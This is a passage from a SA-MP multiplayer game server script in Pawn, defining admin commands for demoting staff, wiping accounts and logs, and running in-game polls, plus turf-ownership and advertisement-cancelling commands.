		mysql_format(handle, query,512,"UPDATE `users` SET pLeader='0' WHERE pName!='%e'", PINFO[playerid][pName]);
	   mysql_function_query(handle,query,false,"SendQuery","");
		mysql_format(handle, query,512,"UPDATE `users` SET pHelper='0' WHERE pName!='%e'", PINFO[playerid][pName]);
	   mysql_function_query(handle,query,false,"SendQuery","");
		mysql_format(handle, query,512,"UPDATE `users` SET pAdmin='0' WHERE pName!='%e'", PINFO[playerid][pName]);
	   mysql_function_query(handle,query,false,"SendQuery","");
	   for( new u; u < MAX_PLAYERS; u++ )
	   {
	   if(IsPlayerConnected(u))
	   {
	   if(strcmp(PINFO[u][pName], PINFO[playerid][pName], true))
	   {
	   PINFO[u][pAdmin] = 0;
	   SaveKonVal(u, "pAdmin", 0);
	   PINFO[u][pHelper] = 0;
	   SaveKonVal(u, "pHelper", 0);
	   PINFO[u][pLeader] = 0;
	   SaveKonVal(u, "pLeader", 0);
	   PINFO[u][pTeam] = 0;
	   SaveKonVal(u, "pTeam", 0);
	   PINFO[u][pRank] = 0;
	   SaveKonVal(u, "pRank", 0);
	   }
	   }
	   }
		SCM(playerid, COLOR_Good, "[DATABASE]: All staffs was demoted except you.");
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was demoted all staffs.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}

	if(strcmp(cmd, "/clearallfp", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");

		new query[ 512 ];
		mysql_format(handle, query,512,"UPDATE `users` SET pPunish='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   for( new u; u < MAX_PLAYERS; u++ )
	   {
	   PINFO[u][pPunish] = 0;
	   SaveKonVal(u, "pPunish", 0);
	   }
	   
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was cleared FactionPunishes from all.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}





		if(strcmp(cmd, "/deleteaccounts", true) == 0 || strcmp(cmd, "/deleteusers", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
	   mysql_format(handle, query,512,"DELETE FROM `users`");
	   mysql_function_query(handle,query,false,"SendQuery","");
		new queryx[ 512 ];
	   format(queryx,512,"DELETE FROM `logs`");
	   mysql_function_query(handle,queryx,false,"SendQuery","");
		SCM(playerid, COLOR_Good, "[DATABASE]: All users was deleted.");
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was deleted all accounts.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}

		if(strcmp(cmd, "/clearlog", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
	   mysql_format(handle, query,512,"DELETE FROM `logs`");
	   mysql_function_query(handle,query,false,"SendQuery","");
		SCM(playerid, COLOR_Good, "[DATABASE]: All logs was cleared.");
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s was cleared all logs.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}
/*
		if(strcmp(cmd, "/deleteclans", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
	   mysql_format(handle, query,512,"DELETE FROM `clans`");
	   mysql_function_query(handle,query,false,"SendQuery","");
		SCM(playerid, COLOR_Good, "[DATABASE]: All clans was deleted.");
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s was deleted all clans.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}
*/

	
	//By SiNaGaMeR ;)))
	/*
	 if(!strcmp(cmd, "/resetaccount", true))
	{
  if(IsPlayerConnected(playerid))
  {
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid,COL_SYN,"Syntax: /ResetAccount <PlayerID/PartOfName>");
			   return 1;
			}
			giveplayerid = ReturnUser6(tmp);
	if(IsPlayerConnected(giveplayerid))
	{
	if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	PlayerInfo[giveplayerid][pLevel] = 1;
	PlayerInfo[giveplayerid][pAdmin] = 0;
	PlayerInfo[giveplayerid][pPremiumAccount] = 0;
	PlayerInfo[giveplayerid][pRobSkill] = 0;
	PlayerInfo[giveplayerid][pRob] = 0;
	PlayerInfo[giveplayerid][pConnectTime] = 0;
	PlayerInfo[giveplayerid][pAFKtime] = 0;
	PlayerInfo[giveplayerid][pReg] = 0;
	PlayerInfo[giveplayerid][pSex] = 1;
	PlayerInfo[giveplayerid][pExp] = 0;
	PlayerInfo[giveplayerid][pAccount] = 100;
	PlayerInfo[giveplayerid][pCrimes] = 0;
	PlayerInfo[giveplayerid][pDeaths] = 0;
	PlayerInfo[giveplayerid][pKills] = 0;
	PlayerInfo[giveplayerid][pArrested] = 0;
	PlayerInfo[giveplayerid][pWantedDeaths] = 0;
	PlayerInfo[giveplayerid][pPhoneBook] = 0;
	PlayerInfo[giveplayerid][pLottoNr] = 0;
	PlayerInfo[giveplayerid][pFishes] = 0;
	PlayerInfo[giveplayerid][pJob] = 0;
	PlayerInfo[giveplayerid][pPayCheck] = 0.0;
	PlayerInfo[giveplayerid][pHeadValue] = 0;
	PlayerInfo[giveplayerid][pJailTime] = 0;
	PlayerInfo[giveplayerid][pAdminJailed] = 0;
	PlayerInfo[giveplayerid][pMats] = 0;
	PlayerInfo[giveplayerid][pDrugs] = 0;
	PlayerInfo[giveplayerid][pLeader] = 0;
	PlayerInfo[giveplayerid][pMember] = 0;
	PlayerInfo[giveplayerid][pRank] = 0;
	PlayerInfo[giveplayerid][pPunish] = 0;
	PlayerInfo[giveplayerid][pFwarn] = 0;
	PlayerInfo[giveplayerid][pTow] = 0;
	PlayerInfo[giveplayerid][cSkin] = 170;
	PlayerInfo[giveplayerid][fSkin] = 170;
	SetPlayerSkin(giveplayerid, PlayerInfo[giveplayerid][cSkin]);
	PlayerInfo[giveplayerid][pWalkieTalkie] = 0;
	PlayerInfo[giveplayerid][pMatsSkill] = 0;
	PlayerInfo[giveplayerid][pDetSkill] = 0;
	PlayerInfo[giveplayerid][pLawSkill] = 0;
	PlayerInfo[giveplayerid][pMechSkill] = 0;
	PlayerInfo[giveplayerid][pJackSkill] = 0;
	PlayerInfo[giveplayerid][pNewsSkill] = 0;
	PlayerInfo[giveplayerid][pDrugsSkill] = 0;
	PlayerInfo[giveplayerid][pTeam] = TEAM_CIV;
	PlayerInfo[giveplayerid][pPnumber] = 0;
	PlayerInfo[giveplayerid][pCar_1] = 0;
	PlayerInfo[giveplayerid][pCar_2] = 0;
	PlayerInfo[giveplayerid][pCar_3] = 0;
	PlayerInfo[giveplayerid][pCar_4] = 0;
	PlayerInfo[giveplayerid][pCar_5] = 0;
	PlayerInfo[giveplayerid][pCar_6] = 0;
	PlayerInfo[giveplayerid][pPhousekey] = 9999;
	PlayerInfo[giveplayerid][pPbiskey] = 9999;
	PlayerInfo[giveplayerid][pCarLic] = 0;
	PlayerInfo[giveplayerid][pFlyLic] = 0;
	PlayerInfo[giveplayerid][pBoatLic] = 0;
	PlayerInfo[giveplayerid][pFishLic] = 0;
	PlayerInfo[giveplayerid][pGunLic] = 0;
	PlayerInfo[giveplayerid][pMatsLic] = 0;
	PlayerInfo[giveplayerid][pCarLicS] = 0;
	PlayerInfo[giveplayerid][pFlyLicS] = 0;
	PlayerInfo[giveplayerid][pBoatLicS] = 0;
	PlayerInfo[giveplayerid][pGunLicS] = 0;
	PlayerInfo[giveplayerid][pMatsLic] = 0;
	PlayerInfo[giveplayerid][pCarTime] = 0;
	PlayerInfo[giveplayerid][pPayDayHad] = 0;
	PlayerInfo[giveplayerid][pTut] = 0;
	PlayerInfo[giveplayerid][pWarns] = 0;
	PlayerInfo[giveplayerid][pRep] = 0;
	PlayerInfo[giveplayerid][pGold] = 0;
	PlayerInfo[giveplayerid][pAav] = 0;
	PlayerInfo[giveplayerid][pHav] = 0;
	PlayerInfo[giveplayerid][pLav] = 0;
	PlayerInfo[giveplayerid][pLighter] = 0;
	PlayerInfo[giveplayerid][pCigarettes] = 0;
	PlayerInfo[giveplayerid][pSpeaker] = 0;
	PlayerInfo[giveplayerid][pBanDays] = 0;
	PlayerInfo[giveplayerid][pRented] = 0;
	PlayerInfo[giveplayerid][pLanguage] = 0;
	PlayerInfo[giveplayerid][pLawyerPoint] = 0;
	PlayerInfo[giveplayerid][pApproval] = 0;
	PlayerInfo[giveplayerid][pWanted] = 0;
	PlayerInfo[giveplayerid][cLocationx] = 0.0;
	PlayerInfo[giveplayerid][cLocationy] = 0.0;
	PlayerInfo[giveplayerid][cLocationz] = 0.0;
	PlayerInfo[giveplayerid][cAngle] = 0.0;
	PlayerInfo[giveplayerid][cColor1] = 9999;
	PlayerInfo[giveplayerid][cColor2] = 9999;
	PlayerInfo[giveplayerid][cModel] = 0;
	PlayerInfo[giveplayerid][cPrice] = 0;
	format(string, sizeof(string), "NewVeh");
	strmid(PlayerInfo[giveplayerid][cPlate], string, 0, strlen(string), 255);
	PlayerInfo[giveplayerid][cLock] = 0;
	PlayerInfo[giveplayerid][cDestroyed] = 0;
	PINFO[giveplayerid][cFixed] = 0;
	PINFO[giveplayerid][cInsurance] = 0;
	PlayerInfo[giveplayerid][cFuel] = 0;
	PINFO[giveplayerid][gLocationX] = 0;
	PINFO[giveplayerid][gLocationY] = 0;
	PINFO[giveplayerid][gLocationZ] = 0;
	PINFO[giveplayerid][gAngle] = 0;
	PINFO[giveplayerid][gParked] = 0;
	PINFO[giveplayerid][gLocationX_2] = 0;
	PINFO[giveplayerid][gLocationY_2] = 0;
	PINFO[giveplayerid][gLocationZ_2] = 0;
	PINFO[giveplayerid][gAngle_2] = 0;
	PINFO[giveplayerid][gParked_2] = 0;
	PlayerInfo[giveplayerid][cHealth] = 0.0;
	PlayerInfo[giveplayerid][cMod1] = 0;
	PlayerInfo[giveplayerid][cMod3] = 0;
	PlayerInfo[giveplayerid][cMod4] = 0;
	PlayerInfo[giveplayerid][cMod5] = 0;
	PlayerInfo[giveplayerid][cMod6] = 0;
	PlayerInfo[giveplayerid][cMod7] = 0;
	PlayerInfo[giveplayerid][cMod8] = 0;
	PlayerInfo[giveplayerid][cMod9] = 0;
	PlayerInfo[giveplayerid][cMod10] = 0;
	PlayerInfo[giveplayerid][cMod11] = 0;
	PlayerInfo[giveplayerid][cMod12] = 0;
	PlayerInfo[giveplayerid][cMod13] = 0;
	PlayerInfo[giveplayerid][cMod14] = 0;
	PlayerInfo[giveplayerid][cMod15] = 0;
	PlayerInfo[giveplayerid][cMod16] = 0;
	PlayerInfo[giveplayerid][cMod17] = 0;
	PlayerInfo[giveplayerid][cPaintJob] = 3;
	PlayerInfo[giveplayerid][cKilo] = 0.0;
	PlayerInfo[giveplayerid][cPanel] = 0;
	PINFO[giveplayerid][cDoors] = 0;
	PINFO[giveplayerid][cLights] = 0;
	PINFO[giveplayerid][cTires] = 0;
	PlayerInfo[giveplayerid][cLocationx_2] = 0.0;
	PlayerInfo[giveplayerid][cLocationy_2] = 0.0;
	PlayerInfo[giveplayerid][cLocationz_2] = 0.0;
	PlayerInfo[giveplayerid][cAngle_2] = 0.0;
	PlayerInfo[giveplayerid][cColor1_2] = 9999;
	PlayerInfo[giveplayerid][cColor2_2] = 9999;
	PlayerInfo[giveplayerid][cModel_2] = 0;
	PlayerInfo[giveplayerid][cPrice_2] = 0;
	format(string, sizeof(string), "NewVeh");
	strmid(PlayerInfo[giveplayerid][cPlate], string, 0, strlen(string), 255);
	PlayerInfo[giveplayerid][cLock_2] = 0;
	PlayerInfo[giveplayerid][cDestroyed_2] = 0;
	PINFO[giveplayerid][cFixed_2] = 0;
	PINFO[giveplayerid][cInsurance_2] = 0;
	PlayerInfo[giveplayerid][cFuel_2] = 0;
	PlayerInfo[giveplayerid][cHealth_2] = 0.0;
	PlayerInfo[giveplayerid][cMod1_2] = 0;
	PlayerInfo[giveplayerid][cMod3_2] = 0;
	PlayerInfo[giveplayerid][cMod4_2] = 0;
	PlayerInfo[giveplayerid][cMod5_2] = 0;
	PlayerInfo[giveplayerid][cMod6_2] = 0;
	PlayerInfo[giveplayerid][cMod7_2] = 0;
	PlayerInfo[giveplayerid][cMod8_2] = 0;
	PlayerInfo[giveplayerid][cMod9_2] = 0;
	PlayerInfo[giveplayerid][cMod10_2] = 0;
	PlayerInfo[giveplayerid][cMod11_2] = 0;
	PlayerInfo[giveplayerid][cMod12_2] = 0;
	PlayerInfo[giveplayerid][cMod13_2] = 0;
	PlayerInfo[giveplayerid][cMod14_2] = 0;
	PlayerInfo[giveplayerid][cMod15_2] = 0;
	PlayerInfo[giveplayerid][cMod16_2] = 0;
	PlayerInfo[giveplayerid][cMod17_2] = 0;
	PlayerInfo[giveplayerid][cPaintJob_2] = 3;
	PlayerInfo[giveplayerid][cKilo_2] = 0.0;
	PlayerInfo[giveplayerid][cPanel_2] = 0;
	PlayerInfo[giveplayerid][pGBox] = 0;
	PlayerInfo[giveplayerid][pBox] = 0;
	PlayerInfo[giveplayerid][pFSS] = 0;
	PlayerInfo[giveplayerid][pActA] = 0;
	PlayerInfo[giveplayerid][pActH] = 0;
	PlayerInfo[giveplayerid][pActL] = 0;
	PlayerInfo[giveplayerid][pAuto] = 0;
	PlayerInfo[giveplayerid][pHDay] = 0;
	PlayerInfo[giveplayerid][pHAgr] = 0;
	PlayerInfo[giveplayerid][pVip] = 0;
	PlayerInfo[giveplayerid][pSPoint] = 0;
	PlayerInfo[giveplayerid][pPoint] = 0;
	PlayerInfo[giveplayerid][pSPoint] = 0;
	PlayerInfo[giveplayerid][pRelog] = 0;
	PlayerInfo[giveplayerid][pGift] = 0;
	PlayerInfo[giveplayerid][pGlasses] = 0;
	PlayerInfo[giveplayerid][pGMute] = 0;
	PINFO[giveplayerid][cDoors_2] = 0;
	PINFO[giveplayerid][cLights_2] = 0;
	PINFO[giveplayerid][cTires_2] = 0;
	ClearMarriage(giveplayerid);
	SetPlayerColor(giveplayerid,COLOR_WHITE);
	SetPlayerScore(giveplayerid,PlayerInfo[giveplayerid][pLevel]);
	//----------------------------------------------
	new reset[1024];
	format(reset, sizeof(reset), "[Account]: %s's account was reset successfully.", PINFO[giveplayerid][pName]);
	SendClientMessage(playerid,  COLOR_Good, reset);
	//----------------------------------------------
	new sttrr[256];
	format(sttrr,256,"{FFFFFF}Admin %s was reset %s's account.", PINFO[playerid][pName], PINFO[giveplayerid][pName]);
	AdminWarn(sttrr);
	//----------------------------------------------
	new resets[1024];
	format(resets, sizeof(resets), "[INFO]: Your account was reset by admin %s.", PINFO[playerid][pName]);
	SendClientMessage(giveplayerid,  COLOR_Good, resets);
	//----------------------------------------------
	}
	else
	{
	SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
	}
	}
	return 1;
	}
	*/

	if(strcmp(cmd,"/vote",true)==0)
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(IsAnyPollActivated == 0) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any poll activated.");
	if(PINFO[playerid][pLevel] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your level is too low.");
	if(PINFO[playerid][pVoted] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You cannot vote.");
	if(TogPoll == 1) return SCM(playerid, COLOR_YELLOW2, "Error: Nobody can vote now.");
    new xoxo[20];
    new chat[114];
    xoxo = strtok(cmdtext, idx);
    if(!strlen(xoxo)) return SCM(playerid, COL_SYN, "Syntax: /vote <1/2>");
    new maman[144];
    new maman1[144];
    if(strcmp(xoxo,"1",true) == 0) {
    Op1Votes ++;
    TotalVotes = (Op1Votes + Op2Votes);
    format(chat, 144, "You have voted for option 1 ({ffffff}%s{ff6347})",PollOp1);
    SendMessage(playerid, COLOR_LIGHTRED, chat);
	PlayerInfo[playerid][pVoted] = 1;
	SaveKonVal(playerid, "pVoted", 1);
    if(IsAnyPollPublic == 1)
    {
    format(maman,144,"** %s voted for option 1 ({ffffff}%s{FFFF00})",RPName(playerid), PollOp1);
    SendClientMessageToAll(COLOR_YELLOW, maman);
    }
    if(IsAnyPollPrivate == 1)
    {
	format(maman1, sizeof(maman1), "{ffffff}Player %s(%i) voted for option 1 (%s)",PINFO[playerid][pName], playerid, PollOp1);
	AdminWarn(maman1);
    }
    }
    else if(strcmp(xoxo,"2",true) == 0) {
    Op2Votes ++;
    TotalVotes = (Op1Votes + Op2Votes);
    format(chat, 144, "You have voted for option 2 ({ffffff}%s{ff6347})",PollOp2);
    SendMessage(playerid, COLOR_LIGHTRED, chat);
	PlayerInfo[playerid][pVoted] = 1;
	SaveKonVal(playerid, "pVoted", 1);
    if(IsAnyPollPublic == 1)
    {
    format(maman,144,"** %s voted for option 2 ({ffffff}%s{FFFF00})",RPName(playerid), PollOp2);
    SendClientMessageToAll(COLOR_YELLOW, maman);
    }
    if(IsAnyPollPrivate == 1)
    {
	format(maman1, sizeof(maman1), "{ffffff}Player %s(%i) voted for option 2 (%s)",PINFO[playerid][pName], playerid, PollOp2);
	AdminWarn(maman1);
    }
    }
    else
	{
	SCM(playerid, COL_SYN, "Syntax: /vote <1/2>");
	return 1;
    }
	return 1;
	}

	
	if(strcmp(cmd,"/dpoll",true)==0)
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	if(IsAnyPollActivated == 0) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any poll activated.");
	new sosisz[144];
	new barandeop;
	if(Op1Votes > Op2Votes) barandeop = 1;
	if(Op1Votes < Op2Votes) barandeop = 2;
	if(Op1Votes == Op2Votes) barandeop = 3;
	if(barandeop != 3)
	{
	format(sosisz, sizeof(sosisz), "{ffffff}Total votes: %d | %s(1) votes: %d | %s(2) votes: %d | Winner: Option %d",TotalVotes, PollOp1, Op1Votes, PollOp2, Op2Votes, barandeop);
	AdminWarn(sosisz);
	}
	if(barandeop == 3)
	{
	format(sosisz, sizeof(sosisz), "{ffffff}Total votes: %d | %s(1) votes: %d | %s(2) votes: %d | Winner: No Winner",TotalVotes, PollOp1, Op1Votes, PollOp2, Op2Votes);
	AdminWarn(sosisz);
	}
	barandeop = 0;
	IsAnyPollPrivate = 0;
	IsAnyPollPublic = 0;
	IsAnyPollActivated = 0;
    TotalVotes = 0;
    TogPoll = 0;
    Op1Votes = 0;
    Op2Votes = 0;
    PollType = 9999;
    KillTimer(TheFingTimer);
	new query[ 512 ];
	mysql_format(handle, query,512,"UPDATE `users` SET pVoted='0'");
    mysql_function_query(handle,query,false,"SendQuery","");
    for( new u; u < MAX_PLAYERS; u++ )
    {
    PINFO[u][pVoted] = 0;
    SaveKonVal(u, "pVoted", 0);
    }
    new sosis[70];
	format(sosis, sizeof(sosis), "{ffffff}Admin %s canceled current poll",RPName(playerid));
	AdminWarn(sosis);
	SendClientMessageToAll(COLOR_LIGHTRED, "The current poll was canceled");
	return 1;
	}

	if(strcmp(cmd,"/publishpoll",true)==0)
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	if(OnGoingPoll == 0) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any ongoing poll.");
	if(BayadPublish[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't publish this poll.");
	if(IsAnyPollActivated == 1) return SCM(playerid, COLOR_YELLOW2, "Error: There is a poll activated.");
	BayadPublish[playerid] = 0;
	OnGoingPoll = 0;
	DoingPoll = 0;
	IsAnyPollActivated = 1;
	if(PollType == 1) IsAnyPollPublic = 1;
	if(PollType == 2) IsAnyPollPrivate = 1;
	PollType = 0;
    new sosis[70];
	format(sosis, sizeof(sosis), "{ffffff}Admin %s published a poll",RPName(playerid));
	AdminWarn(sosis);
	Votes();
	TheFingTimer = SetTimer("Votes", 500000, 1);
	new query[ 512 ];
	mysql_format(handle, query,512,"UPDATE `users` SET pVoted='0'");
    mysql_function_query(handle,query,false,"SendQuery","");
    for( new u; u < MAX_PLAYERS; u++ )
    {
    PINFO[u][pVoted] = 0;
    SaveKonVal(u, "pVoted", 0);
    }
	return 1;
	}
	if(strcmp(cmd,"/pollstatus",true)==0)
	{
	if(IsAnyPollActivated != 1) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any poll activated.");
	new chat[144];
	new chat1[144];
	SCM(playerid, CRISTIAN, "_________________________________________________________________");
    if(IsAnyPollPrivate == 1)
    {
    SCM(playerid, COLOR_LIGHTRED, "Poll Type: Private");
    }
    if(IsAnyPollPublic == 1)
    {
    SCM(playerid, COLOR_LIGHTRED, "Poll Type: Public");
    }
    format(chat, sizeof(chat), "%s",PollTitle);
    format(chat1, sizeof(chat1), "1_ %s(%d votes)              2_ %s(%d votes)",PollOp1, Op1Votes, PollOp2, Op2Votes);
    SendMessage(playerid, COLOR_LIGHTRED, chat);
    SendMessage(playerid, COLOR_LIGHTRED, chat1);
    SCM(playerid, COLOR_Good, "Tip: You can vote with /vote.");
    SCM(playerid, CRISTIAN, "_________________________________________________________________");
	return 1;
	}
	if(strcmp(cmd,"/togglepoll",true)==0)
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	if(IsAnyPollActivated != 1) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any poll activated.");
	new pedar[144];
	if(TogPoll == 0)
	{
	format(pedar,sizeof(pedar),"{FFFFFF}Admin %s has toggled poll status to disable.",RPName(playerid));
	AdminWarn(pedar);
	TogPoll = 1;
	}
	else
	{
	format(pedar,sizeof(pedar),"{FFFFFF}Admin %s has toggled poll status to enable.",RPName(playerid));
	AdminWarn(pedar);
	TogPoll = 0;
	}
	return 1;
	}
	if(strcmp(cmd,"/poll",true)==0)
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	if(IsAnyPollActivated == 1) return SCM(playerid, COLOR_YELLOW2, "Error: There is a poll activated.");
	if(DoingPoll == 1) return SCM(playerid, COLOR_YELLOW2, "Error: Someone is making a poll.");
    new xoxo[20];
    xoxo = strtok(cmdtext, idx);
    if(!strlen(xoxo)) return SCM(playerid, COL_SYN, "Syntax: /poll <Public/Private>");
    if(strcmp(xoxo,"Public",true) == 0) {
    MikhadPollPublic[playerid] = 1;
    DoingPoll = 1;
    ShowPlayerDialog(playerid,3641,DIALOG_STYLE_INPUT,"Public Poll","Enter the title of public poll below:\n","Next","Close");
    }
    else if(strcmp(xoxo,"Private",true) == 0) {
    MikhadPollPrivate[playerid] = 1;
    DoingPoll = 1;
    ShowPlayerDialog(playerid,3641,DIALOG_STYLE_INPUT,"Private Poll","Enter the title of private poll below:\n","Next","Close");
    }
    else
	{
	SCM(playerid, COL_SYN, "Syntax: /poll <Public/Private>");
	return 1;
    }
	return 1;
	}
	
/*
	if(strcmp(cmd,"/turfid",true)==0)
	{
	new turf = GetPlayerZone(playerid);
	if(turf == -1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in a turf.");
    new nowa[144];
    format(nowa, 144, "You are now in turf id: %d",turf);
    SendMessage(playerid, COLOR_SINARANG, nowa);
	return 1;
	}
*/
	
	// SetTurfOwner by SiNaGaMeR
	if(strcmp(cmd,"/SetTurfOwner",true)==0)
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pWlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
		{
		   SCM(playerid,COLOR_YELLOW2,"Error: You can't set turfs' owner.");
		   return 1;
		}
		new turf = GetPlayerZone(playerid);
		if(turf == -1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in a turf.");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /setturfowner <MafiaID>");
		new ccr = strval(tmp);
		if(ccr != 5 && ccr != 6 && ccr != 12 && ccr != 13 && ccr != 14 && ccr != 15) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid Faction ID.");
		GangZoneShowForPlayer(playerid,turf,GetTurfOwnerColor(ccr));
		format(TurfInfo[turf][zOwner],32,"%s",GetFacNameNoColor(ccr));
		SaveTurfs(turf);
		new sttrr[120];
		format(sttrr,sizeof(sttrr),"{FFFFFF}Admin %s has given turf id %i to %s{FFFFFF}.",PINFO[playerid][pName],turf,GetFacName(ccr));
		AdminWarn(sttrr);
		return 1;
	}
	   if(strcmp(cmd, "/CancelAd", true) == 0)
		{
	   if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
		SendMessage(playerid, COL_SYN, "Syntax: /CancelAD <Playerid/PartOfName> <Reason>")
		return 1;
		}
		new playa;
		playa = ReturnUser6(tmp);
					new length = strlen(cmdtext);
					while ((idx < length) && (cmdtext[idx] <= ' '))
					{
					   idx++;
					}
					new offset = idx;
						 new result[144];
					while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
					{
					   result[idx - offset] = cmdtext[idx];
					   idx++;
					}
					result[idx - offset] = EOS;
					if(!strlen(result))
					{
					   SendClientMessage(playerid, COL_SYN, "Syntax: /CancelAD <Playerid/PartOfName> <Reason>");
					   return 1;
					}
		if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
		if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(Adplayer[playa] == 0){
		SCM(playerid, COLOR_YELLOW2, "Error: That player isn't placed any advertisement.");
		return 1;
		}
		if(Adplayer[playa] == 1){
		 //new recon[1024];
		 //format(recon, sizeof(recon), "%s's advertisement was canceled.", PINFO[playa][pName]);
		//SendClientMessage(playerid,  COLOR_YELLOW2, recon);
		 new recons[1024];
		 format(recons, sizeof(recons), "Admin %s was canceled your AD, reason: {FF0000}%s", PINFO[playerid][pName], (result));
		SendClientMessage(playa,  COLOR_LIGHTRED, recons);
		  new adm[114];
		  format(adm, sizeof(adm), "{FFFFFF}Admin %s was canceled %s's AD, reason: %s", PlayerInfo[playerid][pName], PlayerInfo[playa][pName], (result));
		  AdminWarn(adm);
		Adplayer[playa] = 0;
		adtimer -= adtimerplayer[playa];
		myaddade[playa] = 0;
		ImAddingNew[playa] = 0;
		adtimerplayer[playa] -= adtimer;
		return 1;
		}
		return 1;
		}
	
	
	
	
	
	
	
	
	// Kharide eynak az cloth shop by SiNaGaMeR
		/*if(!strcmp("/buyglasses",cmd,true))
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(IsPlayerConnected(playerid))
		{
		   if(IsAtClothShop(playerid))
			{
	   new glasseid, skin, id;
		tmp = strtok(cmdtext, idx);
		skin = GetPlayerSkin(playerid);
		id = strval(tmp);

		if(!id || id > 33) return SendClientMessage(playerid, COL_SYN, "Syntax: /BuyGlasses [1-33]");

		if(id > 30) goto PutPoliceGlasses;
		else
		{
			id--;
			glasseid =  CommonRed + id;
			SetPlayerHoldingObject(playerid, glasseid, 2, SkinOffSet[skin][0], SkinOffSet[skin][1], SkinOffSet[skin][2], SkinOffSet[skin][3], SkinOffSet[skin][4], SkinOffSet[skin][5]);
		PlayerInfo[playerid][pGlasses] = glasseid;
			SaveKonVal(playerid, "pGlasses", glasseid);
		   GivePlayerPool(playerid, -BizzInfo[TooBiz[playerid]][bEntranceCost]);
			BizzInfo[TooBiz[playerid]][bTill] += BizzInfo[TooBiz[playerid]][bEntranceCost];
